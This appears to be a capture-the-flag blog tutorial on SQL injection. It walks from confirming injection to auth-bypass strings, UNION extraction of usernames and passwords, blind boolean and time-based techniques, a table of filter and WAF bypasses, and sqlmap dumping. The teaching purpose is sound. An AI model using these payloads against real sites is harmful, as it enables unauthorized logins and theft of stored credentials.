Skip to content
All posts
webrevised February 6, 20265 min read

SQL injection: from a broken quote to the whole database

SQLi challenges reward a systematic climb: confirm the injection, work out the query shape, pull data with UNION, and fall back to boolean and time oracles when the output is hidden. Plus the auth-bypass one-liners and how to beat basic filters.

SQL injection happens when user input is concatenated into a query instead of being passed as a parameter, so your input stops being data and becomes part of the SQL. It is one of the oldest web bugs and still one of the most common CTF web categories, because it rewards method: there is a clear ladder from 'I think this is injectable' to 'here is the entire users table', and each rung has a standard technique.

The mistake beginners make is throwing ' OR 1=1-- at everything and giving up when it does not visibly work - including at backends that are not SQL at all, where the same idea has different syntax. The climb below is more reliable, and it tells you at each step what to try next.

Step 1: confirm, and learn the context

First establish that input reaches the query, and how it is quoted. A single quote is the classic probe: if ' causes an error or a change in behaviour, something is parsing it as SQL. Then confirm it is really injection and not just an error, by breaking and then fixing the query.

'              -- does it error? that's a syntax break = promising
' --           -- comment out the rest; does the error go away?
' OR '1'='1    -- always-true; does it return more rows?
1' AND '1'='2  -- always-false; does it return fewer/none?
The AND-true/AND-false pair is the real confirmation: if the page changes between them, the query is under your control. It also reveals the quote context - single-quoted string, double-quoted, or bare numeric.

Step 2: auth bypass, the free win

If the injection is in a login form, you may not need to extract anything. A query like SELECT * FROM users WHERE user='$u' AND pass='$p' becomes an unconditional match when you close the string and comment out the password check.

Username: admin'--
Username: admin' OR '1'='1
Username: ' OR 1=1 LIMIT 1--
admin'-- logs you in as admin by commenting out the password comparison entirely. Always try this before reaching for extraction.

Step 3: UNION, when you can see output

If the query's results are displayed, UNION SELECT appends a second result set of your choosing - so you can select from any table you like. Two things must line up first: the number of columns, and which of them is actually printed.

-- Find the column count: increase until the error stops.
' ORDER BY 1--   ' ORDER BY 2--   ' ORDER BY 3--   ...

-- Or probe directly with NULLs until it succeeds:
' UNION SELECT NULL--            ' UNION SELECT NULL,NULL--   ...

-- Find which column is visible, then read the schema:
' UNION SELECT 1,2,3--                                  -- which number appears?
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--
information_schema.tables and .columns enumerate the database structure so you do not have to guess table names. On MySQL, group_concat() packs many rows into one visible cell.

Step 4: blind SQLi, when you cannot

Often nothing from the query is displayed - only whether the page 'worked' or not, or how long it took. That is still enough. Blind SQLi extracts data one bit at a time by asking yes/no questions and reading the answer from the page's behaviour.

  • Boolean-based. The page renders differently for true and false. ' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a'-- - if the page looks 'true', the first character is 'a'. Walk each position, each candidate character.
  • Time-based. Nothing visibly changes, but you can make the database pause. ' AND IF((...)='a', SLEEP(3), 0)-- - a three-second delay means the condition was true. Slower, but works when there is no other signal at all.
  • Error-based. The app leaks database errors. Force the answer into an error message with a function like extractvalue or updatexml and read the data out of the error text.

Beating simple filters

Many challenges filter keywords or characters. The bypasses are well-worn because the filters are shallow.

FilterBypass
Blocks spacesComments as whitespace: '/**/OR/**/1=1--, or %0a, %09, parentheses
Blocks OR/AND (case-sensitive)Change case (oR), or use ||/&&
Blocks UNION SELECTUNI/**/ON SEL/**/ECT, or nested/case tricks
Strips a keyword onceNest it: SELSELECTECT - stripping the inner leaves SELECT
Blocks quotesUse numeric context, or CHAR(97)/hex 0x61 to build strings
WAF on comments-- -, #, or terminate with a real trailing clause instead of commenting

When to just run sqlmap

sqlmap automates every step above - detection, column counting, schema enumeration, and all three blind techniques with binary search built in. In a CTF it is the right tool once you have confirmed injection by hand and understand the shape, because it will grind out a blind extraction far faster and more reliably than you will. sqlmap -u '...' -p param --dump is often the whole endgame. Confirm manually so you know it is real and where; then let the tool do the tedious extraction.

The ladder

  1. Probe with a quote; confirm with the AND-true/AND-false pair and note the quote context.
  2. On a login, try admin'-- and OR 1=1 before anything else.
  3. If output is visible: ORDER BY for column count, then UNION SELECT from information_schema.
  4. If output is hidden: boolean, time, or error-based extraction - with binary search.
  5. Filtered? Match the bypass to the filter; treat the filter as the hint.
  6. Confirmed and understood? Hand the grind to sqlmap.